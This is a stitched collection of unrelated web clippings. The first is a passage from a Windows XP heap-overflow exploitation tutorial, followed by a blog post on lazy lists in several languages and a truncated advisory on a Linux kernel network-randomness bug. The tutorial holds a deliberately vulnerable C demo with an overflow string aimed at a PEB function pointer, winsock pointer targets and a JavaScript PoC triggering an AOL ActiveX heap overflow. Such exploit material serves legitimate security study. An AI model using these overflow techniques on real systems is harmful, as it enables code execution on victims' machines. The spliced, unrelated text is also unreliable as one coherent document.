chunk is split and the 1024 byte chunk size is put back into freelist\[0\]
whilst returning the newly allocated chunk of 1024 bytes to the caller.

### Heap Coalescing:

Heap coalescing is the act of joining together two adjacent chunks of heap
memory that are free when the center chunk is also freed.

The reason why the heap manager will do this is to perform effective use of
the segment memory. Of course, there is a trade off on efficiency when chunks
are freed. Heap coalesing is a very important operation because multiple
chunks can be added together \(once free\) and be used for other allocations
of a larger size later on. If this process didnt happen, then wasted chunks
would occur in the heap segment and would be fragmented.

## Techniques for bypassing Windows XP SP2/3 security mechanisms:

### Overwriting a chunk of the lookaside.

This technique is the most common technique to bypass heap cookies and safe
unlinking checks. Whist this is an application specific technqiue to achieve a
write 4 primitive, some applications may allow you to determine the heap
layout enough for reliable exploitation. Since no safe unlinking or cookie
checks occur in the lookaside list, an attacker can overwrite the ‘flink’
value contained within an adjacent lookaside entry and return that pointer via
a HeapAlloc\(\) or HeapFree\(\) call only to later write malicious code in the
next available chunk.

Lets see how this works visually, breath in deep.

1\. We start by allocating chunk \(A\) in the current segment.

<img src='img/Temp2_3741.png' width='300' height='90' />

2\. Next we allocate another chunk \(B\) in the same segment

<img src='img/Temp2_3744.png' width='300' height='93' />

3\. Now we free chunk \(B\) to the lookaside list, so that two entries exist,
one for the segment and one for the lookaside list.

<img src='img/Temp2_3751.png' width='300' height='180' />

4\. Now we overflow chunk \(A\) \(That will later overflow into chunk B and
update its flink\). This is the meta data that will be overwritten.

<img src='img/Temp2_3748.png' width='300' height='208' />

5\. Now we allocate chunk \(B\) again \(by allocating a chunk the same size as
chunk B from step 2\). This will return the pointer for chunk \(B\) and update
its reference in the current heap segment and be ready for the next
allocation. Now the flink is updated in chunk \(B\) to an arbitary address
that the attacker controls from the overflow of chunk \(A\).

<img src='img/Temp2_3737.png' width='300' height='193' />

6\. Now we take control by allocating chunk \(C\). This will be the next
avalaible chunk after chunk \(B\) and as such, be pointed too by chunk \(B\)’s
controlled flink. The attacker fills chunk \(C\) with their shellcode.

<img src='img/Temp2_3723.png' width='300' height='118' />

Once this process is all complete, we now have control of a overwritten
function pointer that will ideally get called after our write 4 control. Below
is the C code that we will demonstrate with.

[code]

    /*
    	Overwriting a chunk on the lookaside example
    */
    #include <stdio.h>
    #include <windows.h>
    int main(int argc,char *argv[])
    {
    	char *a,*b,*c;
    	long *hHeap;
    	char buf[10];
    
    	printf("----------------------------\n");
    	printf("Overwrite a chunk on the lookaside\n");
    	printf("Heap demonstration\n");
    	printf("----------------------------\n");
    
    	// create the heap
    	hHeap = HeapCreate(0x00040000,0,0);
    	printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
    	printf("(+) Allocating chunk A\n");
    
    	// allocate the first chunk of size N (<0x3F8 bytes)
    	a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    	printf("(+) Allocating chunk B\n");
    
    	// allocate the second chunk of size N (<0x3F8 bytes)
    	b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    
    	printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
    	printf("(+) Freeing chunk B to the lookaside\n");
    
    	// Freeing of chunk B: the chunk gets referenced to the lookaside list
    	HeapFree(hHeap,0,b);
    
    	// set software bp
    	__asm__("int $0x3");
    
    	printf("(+) Now overflow chunk A:\n");
    
    	// The overflow occurs in chunk A: we can manipulate chunk B's Flink
    	// PEB lock routine for testing purposes
    	// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
    
    	// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
    	// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
    
    	gets(a);
    
    	// set software bp
    	__asm__("int $0x3");
    
    	printf("(+) Allocating chunk B\n");
    
    	// A chunk of block size N is allocated (C). Our fake pointer is returned
    	// from the lookaside list.
    	b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    	printf("(+) Allocating chunk C\n");
    
    	// set software bp
        	__asm__("int $0x3");
    
    	// A second chunk of size N is allocated: our fake pointer is returned
    	c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    
    	printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
    
    	// A copy operation from a controlled input to this buffer occurs: these
    	// bytes are written to our chosen location
    	// insert shellcode here
        gets(c);
    
    	// set software bp
        	__asm__("int $0x3");
    
    	exit(0);
     }
    
[/code]

The reason why we have a few \_\_asm\_\_\(“int $0×3″\); instructions is to set
software  
breakpoints to pause execution within the debugger. Alternatively you can open
the  
compiled binary in the debugger and set breakpoints at each of the calls.
Build the  
code in dev c++ \(it uses AT&T in-line assembly compiling with gcc.exe\). When
running  
the code hit the first break point while in the debugger and lets take a look.

<img src='img/Temp2_3725.png' width='300' height='283' />

We can see that we have two allocated chunks in the segment 0×00480000 at the
size of 0×18.  
If we subtract 0×8 bytes from that value we are left with 0×10 or 16 bytes.
Lets take a look  
at the lookaside and see if we actually freed chunk \(B\) too that location.

<img src='img/Temp2_3734.png' width='300' height='59' alt='dumping the
lookaside' />

dumping the lookaside

Excellant\! So we can see our chunk on the lookaside, \(less 8 bytes so it
points to the header\). This chunk got freed to this location due to its size
being < 1016 and there being <= 3 chunks in the lookaside for that particular
chunk size.

Just to be sure, lets take a look at the freelist and see whats up.

<img src='img/Temp2_3752.png' width='300' height='138' alt='freelist analysis'
/>

freelist analysis

Ok so it seems straight forward, no entries except some at freelist\[0\] which
is normal on creation of a segment and a few allocations. Pressing along, we
overflow chunk A with some 0×41′s to overflow the chunk, and the adjacent
chunks header. With the same data, we will overflow the adjacent chunks flink
using 0×44′s

<img src='img/Temp2_3726.png' width='300' height='232' alt='Overwritten FLINK
of chunk B on the lookaside ' />

Overwritten FLINK of chunk B on the lookaside

Great so we can see that our allocation at 0x00481ea8-0×8 \(chunk B\) has been
overwritten from the attackers input. We can also see the lookaside entry
contains the value 0x4444443c. If we add 0×8 bytes to this value, it will
become 0×44444444, the exact value we just used\! So at this point, you can
understand how you are controlling the flink of chunk B. <img
src='https://net-ninja.net/blog/wp-includes/images/smilies/icon_smile.gif'
alt=':)' />

Once an allocation for the same size as chunk B \(0x00481ea8-0×8\) has been
made, chunk B’s entry will be removed from the lookaside\[3\] entry and
returned to the caller. Note that additionally, the headers are under our full
control as well.

<img src='img/Temp2_3754.png' width='262' height='181' alt='Overwritten chunk
A, how it looks in the heap segment ' />

Overwritten chunk A, how it looks in the heap segment

So if we have a look at chunk A \(0x00481e88\) we can see the chunk is in use
because the flag is set to 0×1 \(indicating that it is busy\). The next chunk
at \(0x00481ea0\) is not updated yet as it is still freed at this point to the
lookaside.

<img src='img/Temp2_3728.png' width='300' height='68' alt='Flink was returned
from the re-allocation of chunk B into EAX' />

Flink was returned from the re-allocation of chunk B into EAX

At this point, the code will access violate on a READ operation. When
attacking an application using this technique, we would replace the 0×44444444
with a function pointer \(faking flink\).

Now, when the heap manager creates the next allocated chunk, the application
will write at the location of the fake flink. We would now allocate chunk C
and fill the buffer with arbitray shellcode. The idea at this point is to have
our function pointer called before the application crashes \(or called due to
the crash <img src='https://net-ninja.net/blog/wp-
includes/images/smilies/icon_wink.gif' alt=';)' /> \).

One very clever trick I did not mention in Heap Overflow for Humans 101 is
that the attacker can use the PEB global function pointers \(before XP SP1
only\).

However in windows XP SP2 and above, these address pointers are now
randomized. Lets check this out, on loading the binary in the debugger the
first time we see this:

<img src='img/Temp2_3745.png' width='300' height='88' alt='analyzing the
pointers at the GOT' />

analyzing the pointers at the GOT

Now lets do it again:

<img src='img/Temp2_3731.png' width='300' height='88' alt='analyzing the
pointers at the GOT' />

analyzing the pointers at the GOT

Note that the two PEB addresses are different. When an exception occurs, the
exception dispatcher will likely call ExitProcess\(\) which will in turn, call
RtlAcquirePebLock\(\). This operation is conducted so that no modifications
are made to the peb during the exception and once the handler is finished
being dispatched, it will release the lock via a call to
RtlReleasePebLock\(\). Additionally, the pointers used within these functions
are not W^X protected meaning that we can write and execute in that memory
region.

Each of these functions make use of static pointers with a fixed offset from
the peb. Below is the RtlAcquirePebLock\(\) function and as you can see,
FS:\[18\] \(peb\) is moved into EAX. Then at offset 0×30, the global function
pointers are stored and at offset 0×24 is the function
‘FastPebLockRoutine\(\)’ that will be called.

[code]

    7C91040D > 6A 18            PUSH 18
    7C91040F   68 4004917C      PUSH ntdll.7C910440
    7C910414   E8 B2E4FFFF      CALL ntdll.7C90E8CB
    7C910419   64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
    7C91041F   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
    7C910422   8945 E0          MOV DWORD PTR SS:[EBP-20],EAX
    7C910425   8B48 20          MOV ECX,DWORD PTR DS:[EAX+20]
    7C910428   894D E4          MOV DWORD PTR SS:[EBP-1C],ECX
    7C91042B   8365 FC 00       AND DWORD PTR SS:[EBP-4],0
    7C91042F   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
    7C910432   FF55 E4          CALL DWORD PTR SS:[EBP-1C]
    7C910435   834D FC FF       OR DWORD PTR SS:[EBP-4],FFFFFFFF
    7C910439   E8 C8E4FFFF      CALL ntdll.7C90E906
    7C91043E   C3               RETN
[/code]

Below we can see the function RtlReleasePebLock\(\) directly calls the
function pointer ‘FastpebUnlockRoutine\(\)’ at offset 0×24 of the global array
offset within the peb.

[code]

    7C910451 > 64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
    7C910457   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
    7C91045A   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
    7C91045D   FF50 24          CALL DWORD PTR DS:[EAX+24]
    7C910460   C3               RETN
[/code]

So when the RtlAcquirePebLock\(\) and RtlReleasePebLock\(\) routines are
called once an exception occurs, the code will continually trigger an
exception and execute your code at infinitum. However you can patch the peb by
executing your shellcode and then modifying the pointer location to point to
exit\(\) instead.

<img src='img/Temp2_3724.png' width='300' height='251' alt='dumping the
current PEB ' />

dumping the current PEB

The more threads in the current process, the less randomization there is \(the
randomized addresses will be used for multiple PEB’s\) and we would be able to
“guess” the address of the current PEB.

However the problem still lies in the fact that we do not have a reliable
function pointer to overwrite for our write 4 primitive \(a generic function
pointer\).

Some times an application may use a custom function pointer either before an
exception occurs or a function pointer in another windows library is called
and this can be leveraged to overwrite that pointer with our code and execute
the shellcode.

### Generic specfic pointer exploitation:

For the purpose of demostration, I will perform the overwriting a chunk on the
lookaside under windows XP SP1 due to the fixed PEB Global function pointers.
The FastPEBLockRoutine\(\) is located at 0x7ffdf020. Now simply uncomment this
line:

// strcpy\(a,”XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f”\);

and comment out this line:

gets\(a\);

So now we will overflow chunk A X’s and overflow into chunk B’s metadata with
AAAA and BBBB and finally overwrite chunk B’s flink with 0x7ffdf020.

Recompile and load it into the debugger. Now when we allocate chunk C
\(pointed to by 0x7ffdf020\), we can fill the chunk with shellcode and it will
be called when an exception occurs. Below, we can see the following code
setting up EAX to contain the PEB location and a direct call is made at offset
0×20 \(FastPEBLockRoutine\(\)\) transfering execution to our code.

<img src='img/Temp2_3720.png' width='300' height='227' alt='calling the
FastPEBLockRoutine() function from the PEB offset' />

calling the FastPEBLockRoutine\(\) function from the PEB offset

Now we have direct control over EIP and can use it to return into code. From
here it is trivial to bypass DEP and get code execution.

### Application specfic pointer exploitation:

This article would not be complete unless I provided an example of exploiting
this vulnerability using an application specific pointer under Windows XP SP3.

When targeting software that contains a heap overflow, any hardcoded function
call that can be written to and is executed after the overflow’s occurance too
should be targeted and abused.

Take for example, WSACleanup\(\) from winsock, it contains a hardcoded
function call at 0x71ab400a under XP SP3. This can be used as a location in
memory that we can write our shellcode too. That way when the WSACleanup\(\)
\(or many other winsock functions\) are executed, it will redirect back to
shellcode. Below is the dissasembly of WSACleanup\(\) and finding the
hardcoded function call.

<img src='img/Temp2_3756.png' width='300' height='116' alt='WSACleanup() with
a hardcoded function call' />

WSACleanup\(\) with a hardcoded function call

Almost any networking application under windows is likley to use exported
function calls from winsock and spefcially WSACleanup\(\) is used to cleanup
any socket connections and as such almost guaranteed to be executed after a
heap overflow. Because of this, using this function pointer \(0x71ac4050\) to
overwrite at seems to work quite consistantly.

As another example shows, the recv\(\) function also contains a call to the
same function.

<img src='img/Temp2_3735.png' width='300' height='94' alt='recv() function' />

recv\(\) function

If we follow the function call at 0x71ab678f, we can see we land here:

<img src='img/Temp2_3719.png' width='300' height='50' alt='A function called
by recv() that calls another hardcoded function' />

A function called by recv\(\) that calls another hardcoded function

what do you know? another deference call at 0x71ac4050, just to confirm that
this will succeed, lets look at the access permissions of the memory.

<img src='img/Temp2_3732.png' width='300' height='23' alt='Writable at the
0x71ac4050 function pointer location' />

Writable at the 0x71ac4050 function pointer location

The fundemental problem with this technique is that because you will be
overwriting at that location, any shellcode that uses winsock \(practically
all i might add\) will fail. One way to solve this is to patch the 0x71ac4050
location with the original code again so that winsock calls will work.

### Application specific heap exploitation example:

I have provided a vulnerserver binary \(most of the code is used from Stephen
Bradshaws blog entry at the infosec institute, all credits should go to him\)
and adjusted it accordingly to contain heap overflows and memleaks.

The idea is to build a ‘PoC’ exploit that will trigger and layout the heap in
the right way so that you can overwrite a chunk on the lookaside and gain code
execution. Download this file and run it under windows XP SP 3 and try the
examples provided here to help you grasp the concept of this technique.

I have decided not to share the source code for now so that people will have
to do some reverse engineering in order to find the right way to layout the
heap and trigger code execution.

As a hint \(hopefully not too big\), here is a screenshot of the ‘PoC’ code
working by determining the heap layout:

<img src='img/Temp2_3747.png' width='300' height='163' alt='Executing code via
a remote heap overflow under XP sp3' />

Executing code via a remote heap overflow under XP sp3

Of course, any situation in which you can layout heap memory is perfect. An
easier target for laying out a target processes heap is to use the client side
as a reliable way. With the ability to script and control heap layouts, you
are sure to be able to setup a situation in that can be exploited via a heap
overflow.

An example is using Alex Soritov’s heaplib.js to help allocate, free and
perform many other operations on strings within heap memory. If using
JavaScript or DHTML to allocate or free chunks in the same heap used by
MSHTML, then you can control the heap manager and you can redirect execution
control from a heap overflow in the target browser.

### Analysis of AOL 9.5 \(CDDBControl.dll\) ActiveX Heap Overflow

I decided to take a look at this vulnerability and determine the
‘exploitability’ of this bug under windows XP SP3. Despite the control being
marked not safe for scripting or initialization, I thought it might be an
interesting bug to analyse. I wouldn’t have added this section, but sinn3r
asked, so I decided to add it <img src='https://net-ninja.net/blog/wp-
includes/images/smilies/icon_smile.gif' alt=':)' />

Now due to it being within an ActiveX control, one of the ways that it is
triggerable is through IE’s browser using a scripting language of choice. I
decided to use JavaScript simply because it was the most flexible and
heapLib.js was also written in it. My environment was as follows:

  1. IE 6/7
  2. XP SP3
  3. heapLib.js

So let the fun begin\!

First of all I triggered the PoC provided at exploit-db by Hellcode Research.
Lets analyse the crash:

<img src='img/Temp2_3739.png' width='300' height='94' alt='crash time' />

crash time with AOL's ActiveX control

What we can see here is the segment in the current heap actually runs out
uncommited memory and cannot commit more memory for that heap segment.

<img src='img/Temp2_3750.png' width='300' height='36' alt='commited memory for
the AOL 9.5 activeX control' />

commited memory for the AOL 9.5 activeX control

And if we view it:

<img src='img/Temp2_3721.png' width='300' height='229' alt='running off the
heap segment' />

running off the heap segment

<img src='img/Temp2_3730.png' width='300' height='267' alt='Allocated chunk
completely overwritten' />

Allocated chunk completely overwritten

We run out of the heap segment without the ability to create another segment.
So what do we do? Well we know that we have to trigger an unlink operation. In
order to do that, we need the windows heap manager to copy all the data into
the allocate buffer \(overwriting other chunks\) but not running off the
current segment. Then when the next allocation or free is triggered, it will
attempt to unlink.

I modified the PoC to trigger the overflow with only 2240 bytes instead of
4000.

[code]

    var x = unescape("%41");
    while (x.length<2240) x += x;
    x = x.substring(0,2240);
    target.BindToFile(x,1);
[/code]

Now when we trigger the bug, we dont actually crash the browser. Of course the
chunk is overflowed, but until there is another unlink operation, it will not
crash.

But when closing the browser, the garbage collector runs and allocates all
freed chunks and as such multiple calls to RtlAllocateHeap\(\) are made and
the bug is triggered. This time, things look a little more realistic.

<img src='img/Temp2_3722.png' width='300' height='51' alt='Safe unlinking,
cookie checks and then finally unlinking' />

Safe unlinking, cookie checks and then finally unlinking

  

[code]

     
    (384c.16e0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
    eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    ntdll!RtlAllocateHeap+0x567:
    7c9111de 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=???????? 
[/code]

Great, so we have a potentially exploitable condition. In this case, flink is
EAX and blink is EDI. Under XP sp0-1 and below, we could simply perform a
basic UEF function overwrite and take control. But we have access to the
browsers powerful scripting ability to ‘massage’ the heap so we will try
targeting the vulnerability under XP SP3.

When analysing the heap layouts, I quickly noticed that the Active X control
actually creates its own heap at run time and the crash is triggered on a
freelist insert.

<img src='img/Temp2_3743.png' width='300' height='34' alt='Freelist insert
that crashes the ActiveX control.' />

Freelist insert that crashes the ActiveX control.

When using the heapLib.js library, I was able to successfully manipulate the
heap quite well, that is, the default processes heap \*\*not\*\* the active X
controls heap.

At this point, I can somewhat say that under Windows XP SP3 and above it
\*seems\* to be unexploitable, of course this could be a gross
misinterpretation but as far as I can tell, if the objects heap cannot be
manipulated, then it cannot be exploited.

#### Hooking:

A useful tip to know when debugging applications that contains a heap overflow
is the number of allocations and frees and what size they are. During a
process/threads life, many allocations and frees are made and it certainly is
time intensive to breakpoint all of them. One neat thing with immunity
debugger is that you can use the \!hookheap plugin to hook RtlAllocateHeap\(\)
and RtlFreeHeap\(\) and so you can find the size and number of
allocations/frees that are executed during any particular operation.

<img src='img/Temp2_3740.png' width='180' height='300' alt='example of hooking
RTLAllocateHeap() and RTLFreeHeap()' />

hooking RtlAllocateHeap\(\) and RtlFreeHeap\(\)

And as you can see, one particular allocation stands out, an allocation of a
large number of bytes seems to indicate a request to the target vulnerable
server.

## Conclusion:

Heap managers are very complex to understand and to exploit heap overflows
requires many man hours as each situation is different. Understanding the
current context of the target application and limitations contained within it
are key to determining the exploitability of a heap overflow. The protection
mitigation’s enforced by Microsoft prevent majority of heap overflow
exploitation in a generic sense, however from time to time we see application
specific situations that arise and can be abused by an attacker.

References:

  1. http://windbg.info/doc/1-common-cmds.html
  2. http://www.insomniasec.com/publications/Heaps\_About\_Heaps.ppt
  3. http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2 Heap Exploitation.ppt
  4. some small aspects from: http://illmatics.com/Understanding\_the\_LFH.pdf
  5. http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
  6. http://www.insomniasec.com/publications/Exploiting\_Freelist\[0\]\_On\_XPSP2.zip
  7. http://www.insomniasec.com/publications/DEPinDepth.ppt \(heap segment information\)
  8. Advanced windows Debugging \(Mario Hewardt\)
  9. www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf
  10. http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
  11. http://www.immunityinc.com/downloads/immunity\_win32\_exploitation.final2.ppt
  12. Understanding and bypassing Windows Heap Protection by Nicolas Waisman \(2007\) http://kkamagui.springnote.com/pages/1350732/attachments/579350

# Lazy Lists in Different Languages « Lingua Computa

**Created:**| _5/15/2011 7:39:04 PM_  
---|---  
**Updated:**| _5/15/2011 7:39:04 PM_  
**Author:**| __  
**Tags:**| _C++ python programming_  
  

« Deconstructing Intel’s Array Building Blocks

#  Lazy Lists in Different Languages

Published on  April 26, 2011 in c++, haskell, programming, python and R. 0
Comments

Here is the canonical implementation of Fibonacci series in Haskell. The lazy
evaluation semantics of Haskell is used to build the Fibonacci series as a
lazy list. I thought about implementing lazy lists in languages that don’t
have lazy evaluation semantics.

fibs = 0 : 1 : zipWith \(+\) fibs \(tail fibs\)

The above code uses the zipWith function, which operates on lazy lists. I
didn’t want to implement that yet, so I wrote the following simpler
implementation in Haskell, which still result in lazy lists. The first one,
“from”, is just an infinite sequence of integers starting at n.

from n = \[n\] ++ \(from \(n+1\)\)

The second one is the infinite Fibonacci series, but without using zipWith.

fibs\_helper m n = m : \(fibs\_helper n \(m+n\)\)  
fibs = fibs\_helper 0 1

#### Lazy Lists in Python

The first language I decided to try was Python. The representation for the
lazy list I chose was a pair of objects. The first, called “first”, is the
first element in the list. The second, called “rest”, is a function, that
returns the rest of the lazy list. The “first” of the “rest” is the second
element, and so on. I just decided to put the pair of objects in a dictionary.
So if I had a lazy list ‘L’, L\['first'\] would give me the first element, and
L\['rest'\]\(\) would give me the rest of the lazy list. The first order of
business was to write the “Take” function, that returns the first ‘n’ elements
of a lazy list as a regular list. Here is the recursive implementation of
“Take”. Take\(0, l\) is the empty list. Take\(n, l\) is the first element of l
\(l\['first'\]\) appended with Take\(n-1, l\['rest'\]\(\)\). Easy enough.

def Take\(n, l\):  
if \(n==0\):  
return \[\]  
else:  
return \[l\['first'\]\] \+ Take\(n-1, l\['rest'\]\(\)\)

Now, we are ready to implement the ‘from’ lazy list. Obviously, the first
element of from\(n\) is ‘n’. What about the ‘rest’ part? Remember, the ‘rest’
is supposed to be a function that should return the lazy list corresponding to
the rest of the list. We know the rest of the list is just From\(n+1\). So we
just create an anonymous function \(lambda\) and set ‘rest’ to that anonymous
function. The key observation here is that the lambda is capturing n+1. So
when From\(n\)\['rest'\] is called, it knows to return From\(n+1\).

def From\(n\):  
return \{'first':n,  
'rest': lambda: From\(n+1\) \}

The implementation of fibs is as follows:

def fibs\_helper\(m, n\):  
return \{'first':m,  
'rest': lambda: fibs\_helper\(n, m+n\)\}  
  
fibs=fibs\_helper\(0, 1\)

Since an element in a Fibonacci sequence depends on the previous two elements
in the sequence, I make the helper function take 2 arguments, namely two
consecutive elements in the sequence. The function fibs\_helper\(m, n\)
returns the lazy list starting at m. Again, the ‘first’ is m. The ‘rest’ is
recursively defined by calling fibs\_helper with n and n+m, as they are the
next two elements in the sequence. Go ahead, try out

Take\(10, From\(42\)\)  
Take\(20, fibs\)

#### Lazy Lists in R

Next, I tried to do it in R, that also has strict evaluation semantics. This
is pretty straightforward, and looks identical to the Python implementation.

take <\- function\(n, l\) \{  
if \(n == 0\) c\(\)  
else c\(l$first, take\(n-1, l$rest\(\)\)\)  
\}

from <\- function\(n\) \{  
list\(first=n, rest=function\(\) \{ from\(n+1\) \}\)  
\}

fibs\_helper <\- function\(m, n\) \{  
list\(first=m, rest=function\(\) \{ fibs\_helper\(n, m+n\) \}\)  
\}  
  
fibs <\- fibs\_helper\(0, 1\)

#### Lazy Lists in C++

Next, I tried to implement it in C++. First, the “take” function template is
shown below. It take a lazy list, and as long as that class has a “first”
member and a “rest” method, the “take” function is happy. It just recursively
calls itself and returns a std::vector.

\#include <vector>  
using namespace std;  
template<typename F>  
vector<int> take\(int n, F f\)  
\{  
if \(n==0\)  
return vector<int>\(\);  
else \{  
vector<int> retval;  
retval.push\_back\(f.first\);  
vector<int> temp = take\(n-1, f.rest\(\)\);  
std::copy\(temp.begin\(\), temp.end\(\),  
std::inserter\(retval, retval.end\(\)\)\);  
return retval;  
\}  
\}

Now, let’s look at the “from” lazy list. It is a class with the “first”
member, which is set in the constructor. The “rest” is a method that returns a
new object of type “from”, but constructed with n+1. Simple enough, again.

struct from \{  
int first;  
from\(int n\) : first\(n\) \{\}  
from rest\(\) \{ return from\(first+1\); \}  
\};

fibs is similar in spirit, but since we know the infinite list always begins
at 0, I just declared an object called fibs, constructed with \(0,1\).

struct fibs \{  
int m, n;  
int first;  
fibs\(int \_m, int \_n\) : m\(\_m\), n\(\_n\), first\(\_m\) \{\}  
fibs rest\(\) \{ return fibs\(n, m+n\); \}  
\} fibs\(0, 1\);

Here is the main program that calls “take” on fibs, to get the first 10
elements, and prints them out.

int main\(\)  
\{  
vector<int> t = take\(10, fibs\);  
for \(unsigned i=0, e=t.size\(\); i\!=e; ++i\)  
cout << t\[i\] << "\n";  
return 0;  
\}

#### Lazy Lists in C++0x

Or C++11, as it is known now. I just changed the implementation of “rest”.
Instead of a being a class method, it is just a class member of type
std::function<from\(\)>, \(or std::function<fibs\(\)>\). I set it in the
constructor to a lambda expression, just like the Python or R implementation.

struct from \{  
int first;  
function<from\(\)> rest;  
from\(int n\) : first\(n\), rest\(\[=\] \(\)->from \{return from\(n+1\);\}\)
\{\}  
\};  
  
struct fibs \{  
int first;  
function<fibs\(\)> rest;  
fibs\(int m, int n\) : first\(m\), rest\(\[=\] \(\)->fibs \{return fibs\(n,
m+n\);\}\) \{\}  
\} fibs\(0, 1\);

# Second Look® | Linux Threat Detection & Response | CVE-2014-7284 NGRO Linux Kernel Bug
**Created:**| _10/3/2014 9:19:59 PM_  
---|---  
**Updated:**| _10/3/2014 9:19:59 PM_  
**Author:**| __  
**Tags:**| _Linux network-security kernel tcp_  
  

# Linux Threat Detection & Response

## CVE-2014-7284 \(NGRO Bug\): Lack of randomness in Linux kernel network
secrets

_Published October 1, 2014; updated October 2, 2014 with CVE number._

In the late 1990s and early 2000s, many operating systems were found to have
flawed TCP/IP sequence number generators, and this was identified as a serious
security vulnerability \(see, for example, Strange Attractors and TCP/IP
Sequence Number Analysis - One Year Later\). Since that time, generators have
been improved, it has been assumed that the problem was dealt with, and most
people stopped thinking about these kinds of vulnerabilities.

However, we have identified a problem with Linux kernel, the result of which
was that secret random seed values \(e.g., `net_secret`, `syncookie_secret`,
`inet_ehash_secret`, etc.\) were never initialized on some systems. This would
mean that values such as IP IDs, TCP sequence numbers, and ephemeral port
numbers become far more easily predictable than they should be. Affected
systems would be vulnerable to a number of attacks. For example, as noted by
CERT in their 2001 Vulnerability Note Multiple TCP/IP implementations may use
statistically predictable initial sequence numbers: "If the ISN \[TCP initial
sequence number\] of an existing connection can be determined within some
practical range, a malicious agent may be able to close or hijack the
connection. If the ISNs of future connections are targeted, an agent may be
able to 'complete' a TCP three-way handshake and spoof TCP packets delivered
to a victim."

### Affected Systems

This isssue affected Linux kernel versions 3.13 and 3.14, x86\_64 or x86. This
shipped, for example, with Ubuntu 14.04 and as an update for Fedora 19 and 20.
It was fixed in 3.15, and the fix was applied to some older kernels \(e.g.,
Ubuntu trusty kernels 3.13.0-31 and greater have it\). Until now, however, the
security implications of the bug seem to have gone completely unrecognized. We
don't know if it was a deliberate decision to obscure the bug's impact, or if
no one working on it realized what the impact was.

If a system is running an x86\_64 \(64-bit\) kernel with the bug, it will be
affected if the CPU is one of the newer Intel processors \(Ivy Bridge — family
6, model > 48 according to `/proc/cpuinfo`\). These are relatively common, and
getting more so. If a system is running an x86 \(32-bit\) kernel with the bug,
it may be affected if the CPU is one of certain older Intel processors \(see
below for details\). We believe these to be relatively uncommon.

### How We Found The Bug

We found this problem while working on our Linux security product, Second
Look. Second Look is a memory forensics and integrity verification tool used
for incident response and intrusion detection. We were testing with an Ubuntu
14.04 64-bit target on some new hardware when Second Look reported unexpected
mismatches between the kernel code in memory and the "reference kernel"
\(i.e., the kernel of matching version supplied by the distribution vendor\).

In normal usage, alerts such as these are often indications of a rootkit that
has hooked itself into the kernel. When testing on a new kernel version,
however, they can instead indicate some new variation on dynamic code
modification, which is used fairly extensively in the Linux kernel
\(alternative instructions, paravirtualization operations, SMP lock removal,
etc.\).

With Second Look, our comparison of the in-memory kernel and the reference
kernel attempts to take into account these fix-ups, so our first instinct was
to try to determine what new fix-ups we may need to apply. However, as we
delved into the code, and compared memory dumps from various systems running
3.13 kernels, some of which exhibited these alerts and some of which did not,
we began to suspect something was "not right". Particularly when we realized
the random seeds mentioned above weren't getting initialized on the affected
systems. There didn't seem to be any reason for these mismatches, based on our
understanding of how this aspect of the kernel was supposed to operate. Yet
clearly on some systems the "slow path" which performs initialization of the
random seeds was never being executed.

We observed that if a host was affected, so would be a VM running on the host,
but if a host was unaffected, the same VM running on it would also be
unaffected. This led us to believe that CPU type or features were a trigger
for the behavior. We noticed that all the affected systems had newer CPUs.
Finally, reading again each line of code responsible for the boot-time
`net_get_random_once` call site code patching, with these observations in
mind, we realized what the bug was \(as explained below\).

### Explanation Of The Bug

In 3.13, an optimization for `net_get_random_once` was introduced, making use
of the kernel's "static key" and "jump label" functionality. The commit dates
from October 2013. You can read more about static keys in general in
Documentation/static-keys.txt in the kernel tree.

The author of the patch acknowledged that "\[t\]he usage of static\_keys for
net\_get\_random\_once is a bit uncommon so it needs some further explanation
why this actually works", which he provided in the commit message. Part of the
explanation for why the implementation should work is: "because we initialize
\_\_\_done\_key with \(enabled \!= \(entries & 1\)\) this call-site will get
patched up at boot". But actually, it is not always true that this patching
occurs as expected. On affected systems, the slow path \(where initialization
of random seeds occurs\) is never taken.

Here's why:

  * Call sites are initially nops — the "default nop" is written by the compiler \(see `arch_static_branch` in `arch/x86/include/asm/jump_label.h`\).
  * At boot time, call sites are normally patched with an "ideal nop" \(see `jump_label_init` in `kernel/jump_label.c`\).
  * This commit introduced a situation that static keys had not previously been used for anywhere in the kernel: the slow path is taken initially. Therefore a jump needs to be patched in at boot time, rather than a nop. \(Code called in the slow path will replace the jump with a nop so that the slow path ends up only ever being followed once.\)
  * The jump\_label\_init function calls `arch_jump_label_transform_static` with type `JUMP_LABEL_ENABLE` to patch in the jump for the `net_get_random_once` call sites... but on some hardware `arch_jump_label_transform_static` fails to write jumps \(leaving the default nop in place\).

In `arch/x86/kernel/jump_label.c`:

[code]

    ...
    115 static enum {
    116         JL_STATE_START,
    117         JL_STATE_NO_UPDATE,
    118         JL_STATE_UPDATE,
